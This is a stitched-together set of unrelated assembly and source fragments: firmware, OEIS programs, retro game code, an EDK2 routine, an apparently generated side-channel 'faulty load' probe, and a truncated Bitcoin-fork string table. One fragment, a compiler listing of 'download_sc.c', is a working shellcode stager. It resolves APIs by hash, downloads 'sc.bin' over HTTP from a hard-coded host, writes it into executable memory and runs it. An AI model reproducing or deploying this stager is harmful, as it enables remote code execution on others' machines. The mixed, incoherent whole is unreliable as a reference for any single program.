OUTPKTEND = 0x82; SYNCDELAY; // Triple-buffered. 00102$: mov dptr,#_OUTPKTEND mov a,#0x82 movx @dptr,a nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; fx2pipe.c:195: } 00103$: ; fx2pipe.c:207: EP2FIFOCFG = cfg_data[3]; /*0x11;*/ mov dptr,#0x1006 movx a,@dptr mov r2,a mov dptr,#_EP2FIFOCFG movx @dptr,a ; fx2pipe.c:208: SYNCDELAY; nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'main' ;------------------------------------------------------------ ;------------------------------------------------------------ ; fx2pipe.c:219: void main() ; ----------------------------------------- ; function main ; ----------------------------------------- _main: ; fx2pipe.c:221: Initialize(); lcall _Initialize 00102$: sjmp 00102$ .area CSEG (CODE) .area CONST (CODE) .area XINIT (CODE) .area CABS (ABS,CODE)
; ; Grundy Newbrain Specific libraries ; ; Stefano Bodrato - 30/05/2007 ; ; ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; ; ; $Id: fdgetpos.asm,v 1.4 2016/06/19 20:26:58 dom Exp $ SECTION code_clib PUBLIC fdgetpos PUBLIC _fdgetpos .fdgetpos ._fdgetpos ld hl,-1 ret
; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.21005.1 TITLE C:\Users\sickness\Documents\Visual Studio 2013\Projects\download_sc\download_sc\download_sc.c .686P .XMM include listing.inc .model flat INCLUDELIB OLDNAMES PUBLIC _ExecPayload PUBLIC _GetProcAddressByHash ; Function compile flags: /Ogspy ; COMDAT _GetProcAddressByHash _TEXT SEGMENT _dwExportDirRVA$1$ = -16 ; size = 4 _dwNumFunctions$1$ = -12 ; size = 4 _BaseDllName$1$ = -12 ; size = 4 _dwModuleFunctionHash$1$ = -8 ; size = 4 _pdwFunctionNameBase$1$ = -4 ; size = 4 _GetProcAddressByHash PROC ; COMDAT ; _dwModuleFunctionHash$ = ecx ; File c:\users\sickness\documents\visual studio 2013\projects\download_sc\download_sc\getprocaddressbyhash.h ; Line 32 sub esp, 16 ; 00000010H ; Line 59 mov eax, DWORD PTR fs:48 push ebx push ebp push esi ; Line 64 mov eax, DWORD PTR [eax+12] push edi mov DWORD PTR _dwModuleFunctionHash$1$[esp+32], ecx mov esi, DWORD PTR [eax+12] ; Line 66 jmp $LN5@GetProcAdd $LL15@GetProcAdd: ; Line 70 mov eax, DWORD PTR [esi+48] xor ecx, ecx mov ebx, DWORD PTR [esi+44] ; Line 75 mov esi, DWORD PTR [esi] mov DWORD PTR _BaseDllName$1$[esp+32], eax mov eax, DWORD PTR [edx+60] mov ebp, DWORD PTR [eax+edx+120] mov DWORD PTR _dwExportDirRVA$1$[esp+32], ebp ; Line 78 test ebp, ebp je SHORT $LN5@GetProcAdd ; Line 84 shr ebx, 16 ; 00000010H xor edi, edi test ebx, ebx je SHORT $LN10@GetProcAdd mov ebp, DWORD PTR _BaseDllName$1$[esp+32] $LL12@GetProcAdd: ; Line 90 mov al, BYTE PTR [edi+ebp] ror ecx, 13 ; 0000000dH cmp al, 97 ; 00000061H ; Line 92 movsx eax, al jl SHORT $LN9@GetProcAdd add ecx, -32 ; ffffffe0H $LN9@GetProcAdd: ; Line 96 add ecx, eax inc edi cmp edi, ebx jb SHORT $LL12@GetProcAdd mov ebp, DWORD PTR _dwExportDirRVA$1$[esp+32] $LN10@GetProcAdd: ; Line 103 mov eax, DWORD PTR [edx+ebp+32] ; Line 105 xor ebx, ebx mov edi, DWORD PTR [edx+ebp+24] add eax, edx mov DWORD PTR _dwNumFunctions$1$[esp+32], edi test edi, edi je SHORT $LN5@GetProcAdd $LL7@GetProcAdd: ; Line 108 mov ebp, DWORD PTR [eax] xor edi, edi add ebp, edx ; Line 109 add eax, 4 mov DWORD PTR _pdwFunctionNameBase$1$[esp+32], eax $LL4@GetProcAdd: ; Line 116 movsx eax, BYTE PTR [ebp] ror edi, 13 ; 0000000dH add edi, eax ; Line 117 inc ebp ; Line 118 cmp BYTE PTR [ebp-1], 0 jne SHORT $LL4@GetProcAdd ; Line 120 lea eax, DWORD PTR [edi+ecx] ; Line 122 cmp eax, DWORD PTR _dwModuleFunctionHash$1$[esp+32] je SHORT $LN23@GetProcAdd ; Line 105 mov eax, DWORD PTR _pdwFunctionNameBase$1$[esp+32] inc ebx cmp ebx, DWORD PTR _dwNumFunctions$1$[esp+32] jb SHORT $LL7@GetProcAdd $LN5@GetProcAdd: ; Line 66 mov edx, DWORD PTR [esi+24] test edx, edx jne $LL15@GetProcAdd ; Line 131 xor eax, eax $LN16@GetProcAdd: ; Line 132 pop edi pop esi pop ebp pop ebx add esp, 16 ; 00000010H ret 0 $LN23@GetProcAdd: ; Line 124 mov esi, DWORD PTR _dwExportDirRVA$1$[esp+32] mov eax, DWORD PTR [esi+edx+36] lea eax, DWORD PTR [eax+ebx*2] ; Line 125 movzx ecx, WORD PTR [eax+edx] mov eax, DWORD PTR [esi+edx+28] lea eax, DWORD PTR [eax+ecx*4] mov eax, DWORD PTR [eax+edx] add eax, edx jmp SHORT $LN16@GetProcAdd _GetProcAddressByHash ENDP _TEXT ENDS ; Function compile flags: /Ogspy ; COMDAT _ExecPayload _TEXT SEGMENT _dwFlags$ = -68 ; size = 4 _MyHttpSendRequestA$1$ = -64 ; size = 4 _MyVirtualAlloc$1$ = -60 ; size = 4 _MyInternetReadFile$1$ = -56 ; size = 4 _bytesRead$ = -52 ; size = 4 _payload$ = -48 ; size = 7 _http$ = -40 ; size = 9 _wininet$ = -28 ; size = 12 _hostname$ = -16 ; size = 15 _ExecPayload PROC ; COMDAT ; File c:\users\sickness\documents\visual studio 2013\projects\download_sc\download_sc\download_sc.c ; Line 81 push ebp mov ebp, esp and esp, -8 ; fffffff8H sub esp, 72 ; 00000048H push ebx ; Line 83 xor eax, eax mov DWORD PTR _wininet$[esp+76], 1768843639 ; 696e6977H push ebp push esi ; Line 84 mov BYTE PTR _hostname$[esp+98], al ; Line 97 mov ecx, 119961420 ; 0726774cH mov BYTE PTR _payload$[esp+90], al mov BYTE PTR _http$[esp+92], al ; Line 98 lea eax, DWORD PTR _wininet$[esp+84] push edi push eax mov DWORD PTR _wininet$[esp+96], 779380078 ; 2e74656eH mov DWORD PTR _wininet$[esp+100], 7105636 ; 006c6c64H mov DWORD PTR _hostname$[esp+92], 775043377 ; 2e323931H mov DWORD PTR _hostname$[esp+96], 775435825 ; 2e383631H mov DWORD PTR _hostname$[esp+100], 825111348 ; 312e3334H mov WORD PTR _hostname$[esp+104], 12339 ; 00003033H mov DWORD PTR _payload$[esp+92], 1647207283 ; 622e6373H mov WORD PTR _payload$[esp+96], 28265 ; 00006e69H mov DWORD PTR _http$[esp+92], 1347703880 ; 50545448H mov DWORD PTR _http$[esp+96], 825110831 ; 312e312fH call _GetProcAddressByHash call eax ; Line 100 mov ecx, -1485220294 ; a779563aH call _GetProcAddressByHash ; Line 101 mov ecx, -962623145 ; c69f8957H mov esi, eax call _GetProcAddressByHash ; Line 102 mov ecx, 992892395 ; 3b2e55ebH mov edi, eax call _GetProcAddressByHash ; Line 103 mov ecx, -2036447627 ; 869e4675H mov ebx, eax call _GetProcAddressByHash ; Line 104 mov ecx, 2065172013 ; 7b18062dH mov ebp, eax call _GetProcAddressByHash ; Line 105 mov ecx, -494299630 ; e2899612H mov DWORD PTR _MyHttpSendRequestA$1$[esp+88], eax call _GetProcAddressByHash ; Line 106 mov ecx, -447503272 ; e553a458H mov DWORD PTR _MyInternetReadFile$1$[esp+88], eax call _GetProcAddressByHash mov DWORD PTR _MyVirtualAlloc$1$[esp+88], eax ; Line 116 xor eax, eax push eax push eax push eax push eax push eax mov DWORD PTR _dwFlags$[esp+108], 13184 ; 00003380H call esi ; Line 117 xor esi, esi lea ecx, DWORD PTR _hostname$[esp+88] push esi push -2147483648 ; 80000000H push 3 push esi push esi push 80 ; 00000050H push ecx push eax call edi ; Line 118 push esi push -1610612736 ; a0000000H push esi push esi lea ecx, DWORD PTR _http$[esp+104] push ecx lea ecx, DWORD PTR _payload$[esp+108] push ecx push esi push eax call ebx mov edi, eax ; Line 119 lea eax, DWORD PTR _dwFlags$[esp+88] push 4 push eax push 31 ; 0000001fH push edi call ebp ; Line 120 push esi push esi push esi push esi push edi call DWORD PTR _MyHttpSendRequestA$1$[esp+108] ; Line 122 push 64 ; 00000040H push 4096 ; 00001000H mov ebx, 20480 ; 00005000H push ebx push esi call DWORD PTR _MyVirtualAlloc$1$[esp+104] mov esi, eax ; Line 123 lea eax, DWORD PTR _bytesRead$[esp+88] push eax push ebx push esi push edi call DWORD PTR _MyInternetReadFile$1$[esp+104] ; Line 125 call esi ; Line 127 pop edi pop esi pop ebp pop ebx mov esp, ebp pop ebp ret 0 _ExecPayload ENDP _TEXT ENDS END
; A276853: Beatty sequence for 2*e. ; 0,5,10,16,21,27,32,38,43,48,54,59,65,70,76,81,86,92,97,103,108,114,119,125,130,135,141,146,152,157,163,168,173,179,184,190,195,201,206,212,217,222,228,233,239,244,250,255,260,266,271,277,282,288,293,299,304,309,315,320,326,331,337,342,347,353,358,364,369,375,380,385,391,396,402,407,413,418,424,429,434,440,445,451,456,462,467,472,478,483,489,494,500,505,511,516,521,527,532,538,543,549,554,559,565,570,576,581,587,592,598,603,608,614,619,625,630,636,641,646,652,657,663,668,674,679,685,690,695,701,706,712,717,723,728,733,739,744,750,755,761,766,771,777,782,788,793,799,804,810,815,820,826,831,837,842,848,853,858,864,869,875,880,886,891,897,902,907,913,918,924,929,935,940,945,951,956,962,967,973,978,984,989,994,1000,1005,1011,1016,1022,1027,1032,1038,1043,1049,1054,1060,1065,1071,1076,1081,1087,1092,1098,1103,1109,1114,1119,1125,1130,1136,1141,1147,1152,1157,1163,1168,1174,1179,1185,1190,1196,1201,1206,1212,1217,1223,1228,1234,1239,1244,1250,1255,1261,1266,1272,1277,1283,1288,1293,1299,1304,1310,1315,1321,1326,1331,1337,1342,1348,1353 mul $0,2 cal $0,22843 ; Beatty sequence for e: a(n) = floor(n*e). mov $1,$0
;A Program to multpily 2 8 bit numbers stored ;at 0x0001 and 0x0002 and store it in 0x0003 by ;repeated addition method LDA 0x0001 MOV C,A LDA 0x0002 CMP C JC START ;Step for making minimum number of additions MOV B,A MOV A,C MOV C,B ;Actual multiplication START: MVI B,0x00000 LXI H,0x0000 AGAIN: DAD B DCR A JNZ AGAIN ;Stroing number SHLD 0x0003 hlt
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rcx push %rdi push %rsi lea addresses_A_ht+0x11a6c, %rsi lea addresses_normal_ht+0x835a, %rdi nop xor $51255, %r14 mov $86, %rcx rep movsq nop sub $35191, %rsi lea addresses_WC_ht+0x8168, %r10 nop nop sub $36278, %r12 movw $0x6162, (%r10) nop nop nop nop and $42406, %r14 pop %rsi pop %rdi pop %rcx pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r15 push %r9 push %rsi // Store lea addresses_WT+0x1bf88, %r14 add %r13, %r13 movw $0x5152, (%r14) nop sub %r15, %r15 // Store lea addresses_WT+0xf54c, %r10 nop cmp %r9, %r9 mov $0x5152535455565758, %r14 movq %r14, %xmm5 vmovups %ymm5, (%r10) nop nop nop add $27655, %r15 // Load lea addresses_US+0xead6, %r13 nop sub $57661, %r10 vmovups (%r13), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r11 nop sub $14959, %r10 // Store lea addresses_PSE+0x5c70, %r9 clflush (%r9) nop nop nop nop nop sub $14065, %r11 movb $0x51, (%r9) nop nop nop nop nop add $56667, %r11 // Load lea addresses_PSE+0x2788, %r10 add %r13, %r13 vmovups (%r10), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r15 nop nop nop nop inc %r15 // Store lea addresses_WT+0x9088, %r13 nop nop inc %rsi movl $0x51525354, (%r13) nop nop nop sub $30580, %r15 // Store lea addresses_US+0x7f88, %r9 sub $26378, %r10 movw $0x5152, (%r9) add %rsi, %rsi // Store lea addresses_normal+0x12a88, %r11 nop nop add $25889, %r10 movl $0x51525354, (%r11) nop nop nop nop nop cmp $19986, %r13 // Store lea addresses_PSE+0x12188, %r11 nop nop sub $15187, %r13 mov $0x5152535455565758, %rsi movq %rsi, %xmm6 vmovups %ymm6, (%r11) nop nop nop nop nop cmp $2628, %r11 // Store lea addresses_WC+0x11188, %r14 add $42581, %r15 movw $0x5152, (%r14) nop nop nop cmp %r10, %r10 // Faulty Load lea addresses_WT+0x1bf88, %r11 xor %r15, %r15 movaps (%r11), %xmm4 vpextrq $1, %xmm4, %r13 lea oracles, %r15 and $0xff, %r13 shlq $12, %r13 mov (%r15,%r13,1), %r13 pop %rsi pop %r9 pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': True, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_US'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 2, 'same': True, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
CeladonMart5Script: jp EnableAutoTextBoxDrawing CeladonMart5TextPointers: dw CeladonMart5Text1 dw CeladonMart5Text2 dw CeladonMart5Clerk1Text dw CeladonMart5Clerk2Text dw CeladonMart5Text5 CeladonMart5Text1: TX_FAR _CeladonMart5Text1 db "@" CeladonMart5Text2: TX_FAR _CeladonMart5Text2 db "@" CeladonMart5Text5: TX_FAR _CeladonMart5Text5 db "@"
; A310530: Coordination sequence Gal.5.134.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,4,10,16,22,28,34,40,44,48,54,60,66,72,78,84,88,92,98,104,110,116,122,128,132,136,142,148,154,160,166,172,176,180,186,192,198,204,210,216,220,224,230,236,242,248,254,260,264,268 mov $7,$0 mov $9,$0 add $9,1 lpb $9,1 clr $0,7 mov $0,$7 sub $9,1 sub $0,$9 mov $2,2 add $4,2 mov $6,2 lpb $0,1 mov $1,$2 mov $2,$0 mov $0,$6 add $0,$1 add $1,4 add $0,$1 div $0,10 mov $1,3 mod $2,8 mov $4,3 sub $4,$0 lpe mul $4,$0 add $1,$4 add $1,1 add $8,$1 lpe mov $1,$8
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; ReadTsc.Asm ; ; Abstract: ; ; AsmReadTsc function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; UINT64 ; EFIAPI ; AsmReadTsc ( ; VOID ; ); ;------------------------------------------------------------------------------ global ASM_PFX(AsmReadTsc) ASM_PFX(AsmReadTsc): rdtsc ret
;Board size is configures as a number between 0 to BOARD_MAX_SIZE. BOARD_SIZE_MAX = 3 NextBoardSize .PROC ;Purpose: ; Set next board size. ;Input: ; board_zize ;Output: ; board_h, board_w, board_max_y, board_max_x, board_x, board_y ldx board_size cpx #BOARD_SIZE_MAX sne ldx #-1 inx stx board_size .def :InitBoardSize ;Purpose: ; Set specified predefined board size. ldy bh,x sty board_h dey sty board_max_y ldy bw,x sty board_w dey sty board_max_x lda #SCR_WIDTH sub board_w lsr sta board_x lda #24 ;maximum board height sub board_h lsr sta board_y rts bw dta b(10,20,30,39) bh dta b(6,12,18,24) .ENDP TileAdr .PROC ;a x coordinate ;y y coordinate clc adc board_x pha tya adc board_y tay pla jmp ScreenAdr .ENDP GenerateBoard .PROC ;20 vs. 24 lda board_h lsr lsr sta b2 lda board_h sbc b2 sta b2 @ jsr AddToBoard dec b2 bne @- lda #0 sta loose sta loose+1 rts .ENDP AddToBoard .PROC mva board_w b1 gen_hor @ ;y pos lda RANDOM and #31 cmp board_h bcs @- tay @ ;x pos lda RANDOM and #63 cmp board_max_x bcs @- jsr TileAdr ldy #0 lda (scr),y ora #f_right sta (scr),y iny lda (scr),y ora #f_left sta (scr),y dec b1 bne gen_hor ;------------------------ lda board_w ; adc board_w sta b1 gen_vert @ ;y pos lda RANDOM and #31 cmp board_max_y bcs @- tay @ ;x pos lda RANDOM and #63 cmp board_w bcs @- jsr TileAdr ldy #0 lda (scr),y ora #f_down sta (scr),y ; ldy #40 ; lda (scr),y ; ora #f_up+f_down ; sta (scr),y ldy #40 lda (scr),y ora #f_up sta (scr),y dec b1 bne gen_vert rts .ENDP ShuffleBoard .PROC mva board_w aux ;4 a1 mva board_h b2 ;255 @ jsr ShuffleTile dec b2 bne @- dec aux bne a1 rts .ENDP ShuffleTile .PROC @ ;y pos lda RANDOM and #31 cmp board_h bcs @- tay @ ;x pos lda RANDOM and #63 cmp board_w bcs @- jsr RotateTile rts .ENDP RotTileAdr .PROC jsr TileAdr lda scr sec sbc #BOARD_WIDTH+1 sta scr scs dec scr+1 rts .ENDP RotateTile .PROC ;In: ; a x ; y y ;Out: ; b2 Original tile before rotation ; b3 tile after rotation jsr RotTileAdr jsr LooseEnds stx b1 ;loose = loose - x lda loose sec sbc b1 sta loose scs dec loose+1 ldy #BOARD_WIDTH+1 lda (scr),y tax sta b2 lda rot,x sta (scr),y sta b3 jsr LooseEnds txa ;loose =loose + x clc adc loose sta loose scc inc loose+1 rts .ENDP ; ; +-------+ ; 0 | 1 | ; | | ; +-------+-------+-------+ ; | BW | BW+1 | BW+2 | ; | | | | ; +-------+-------+-------+ ; | 2*BW+1| ; | | ; +-------+ LooseEnds .PROC ldy #BOARD_WIDTH+1 lda (scr),y sta b1 ldx #0 ;number of loose ends ;DOWN ldy #1 lda (scr),y ;down = 4 and #f_down lsr lsr eor b1 and #1 beq no_up inx no_up lsr b1 ;RIGHT ldy #BOARD_WIDTH+2 lda (scr),y ;left = 8 lsr lsr lsr eor b1 and #1 beq no_right inx no_right lsr b1 ;DOWN ldy #2*BOARD_WIDTH+1 lda (scr),y ;up = 1 eor b1 and #1 beq no_down inx no_down lsr b1 ;LEFT ldy #BOARD_WIDTH lda (scr),y ;right = 2 lsr eor b1 and #1 beq no_left inx no_left rts .ENDP rot dta b(%0000) ;%0000 dta b(%1000) ;%0001 dta b(%0001) ;%0010 dta b(%1001) ;%0011 dta b(%0010) ;%0100 dta b(%1010) ;%0101 dta b(%0011) ;%0110 dta b(%1011) ;%0111 dta b(%0100) ;%1000 dta b(%1100) ;%1001 dta b(%0101) ;%1010 dta b(%1101) ;%1011 dta b(%0110) ;%1100 dta b(%1110) ;%1101 dta b(%0111) ;%1110 dta b(%1111) ;%1111 /* dta b(%0000) ;%0000 dta b(%0001) ;%0001 dta b(%0010) ;%0010 dta b(%0011) ;%0011 dta b(%0100) ;%0100 dta b(%0101) ;%0101 dta b(%0110) ;%0110 dta b(%0111) ;%0111 dta b(%1000) ;%1000 dta b(%1001) ;%1001 dta b(%1010) ;%1010 dta b(%1011) ;%1011 dta b(%1100) ;%1100 dta b(%1101) ;%1101 dta b(%1110) ;%1110 dta b(%1111) ;%1111 */ HiliteLooseEnds .PROC mva board_max_y b2 line mva board_max_x aux @ lda aux ldy b2 jsr RotTileAdr jsr LooseEndsAtThisTile cpx #0 beq no_loose ldy #SCR_WIDTH+1 lda (scr),y eor #128 sta (scr),y no_loose dec aux bpl @- dec b2 bpl line rts .ENDP LooseEndsAtThisTile .PROC ldy #BOARD_WIDTH+1 lda (scr),y sta b1 ldx #0 ;number of loose ends ;--- UP lsr b1 bcc no_up ldy #1 lda (scr),y and #f_down bne no_up inx no_up ;--- RIGHT lsr b1 bcc no_right ldy #BOARD_WIDTH+2 lda (scr),y ;down = 4 and #f_left bne no_right inx no_right ;--- DOWN lsr b1 bcc no_down ldy #BOARD_WIDTH*2+1 lda (scr),y ;down = 4 and #f_up bne no_down inx no_down ;--- LEFT lsr b1 bcc no_left ldy #BOARD_WIDTH lda (scr),y ;down = 4 and #f_right bne no_left inx no_left rts .ENDP
#include <QtGlobal> // Automatically generated by extract_strings.py #ifdef __GNUC__ #define UNUSED __attribute__((unused)) #else #define UNUSED #endif static const char UNUSED *bitcoin_strings[] = {QT_TRANSLATE_NOOP("bitcoin-core", "To use the %s option"), QT_TRANSLATE_NOOP("bitcoin-core", "" "%s, you must set a rpcpassword in the configuration file:\n" "%s\n" "It is recommended you use the following random password:\n" "rpcuser=impleumrpc\n" "rpcpassword=%s\n" "(you do not need to remember this password)\n" "The username and password MUST NOT be the same.\n" "If the file does not exist, create it with owner-readable-only file " "permissions.\n" "It is also recommended to set alertnotify so you are notified of problems;\n" "for example: alertnotify=echo %%s | mail -s \"Impleum Alert\" admin@foo." "com\n"), QT_TRANSLATE_NOOP("bitcoin-core", "" "An error occurred while setting up the RPC port %u for listening on IPv6, " "falling back to IPv4: %s"), QT_TRANSLATE_NOOP("bitcoin-core", "" "An error occurred while setting up the RPC port %u for listening on IPv4: %s"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Warning: Please check that your computer's date and time are correct! If " "your clock is wrong Impleum will not work properly."), QT_TRANSLATE_NOOP("bitcoin-core", "Options:"), QT_TRANSLATE_NOOP("bitcoin-core", "This help message"), QT_TRANSLATE_NOOP("bitcoin-core", "Specify configuration file (default: impleum.conf)"), QT_TRANSLATE_NOOP("bitcoin-core", "Specify pid file (default: impleumd.pid)"), QT_TRANSLATE_NOOP("bitcoin-core", "Specify data directory"), QT_TRANSLATE_NOOP("bitcoin-core", "Specify wallet file (within data directory)"), QT_TRANSLATE_NOOP("bitcoin-core", "Set database cache size in megabytes (default: 25)"), QT_TRANSLATE_NOOP("bitcoin-core", "Set database disk log size in megabytes (default: 100)"), QT_TRANSLATE_NOOP("bitcoin-core", "Specify connection timeout in milliseconds (default: 5000)"), QT_TRANSLATE_NOOP("bitcoin-core", "Connect through SOCKS5 proxy"), QT_TRANSLATE_NOOP("bitcoin-core", "Use proxy to reach tor hidden services (default: same as -proxy)"), QT_TRANSLATE_NOOP("bitcoin-core", "Allow DNS lookups for -addnode, -seednode and -connect"), QT_TRANSLATE_NOOP("bitcoin-core", "Listen for connections on <port> (default: 16178 or testnet: 25714)"), QT_TRANSLATE_NOOP("bitcoin-core", "Maintain at most <n> connections to peers (default: 125)"), QT_TRANSLATE_NOOP("bitcoin-core", "Add a node to connect to and attempt to keep the connection open"), QT_TRANSLATE_NOOP("bitcoin-core", "Connect only to the specified node(s)"), QT_TRANSLATE_NOOP("bitcoin-core", "Connect to a node to retrieve peer addresses, and disconnect"), QT_TRANSLATE_NOOP("bitcoin-core", "Specify your own public address"), QT_TRANSLATE_NOOP("bitcoin-core", "Only connect to nodes in network <net> (IPv4, IPv6 or Tor)"), QT_TRANSLATE_NOOP("bitcoin-core", "Discover own IP address (default: 1 when listening and no -externalip)"), QT_TRANSLATE_NOOP("bitcoin-core", "Accept connections from outside (default: 1 if no -proxy or -connect)"), QT_TRANSLATE_NOOP("bitcoin-core", "Bind to given address. Use [host]:port notation for IPv6"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Query for peer addresses via DNS lookup, if low on addresses (default: 1 " "unless -connect)"), QT_TRANSLATE_NOOP("bitcoin-core", "Always query for peer addresses via DNS lookup (default: 0)"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Sync time with other nodes. Disable if time on your system is precise e.g. " "syncing with NTP (default: 1)"), QT_TRANSLATE_NOOP("bitcoin-core", "Threshold for disconnecting misbehaving peers (default: 100)"), QT_TRANSLATE_NOOP("bitcoin-core", "" "Number of seconds to keep misbehaving peers from reconnecting (default: " "86400)"), QT_TRANSLATE_NOOP("bitcoin-core", "Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000)"), QT_TRANSLATE_NOOP("bitcoin-core", "Maximum per-connection send buffer, <n>*1000 bytes (default: 1000)"), QT_TRANSLATE_NOOP("bitcoin-core", "Use UPnP to map the listening port (default: 1 when listening)"), QT_TRANSLATE_NOOP("bitcoin-core", "Use 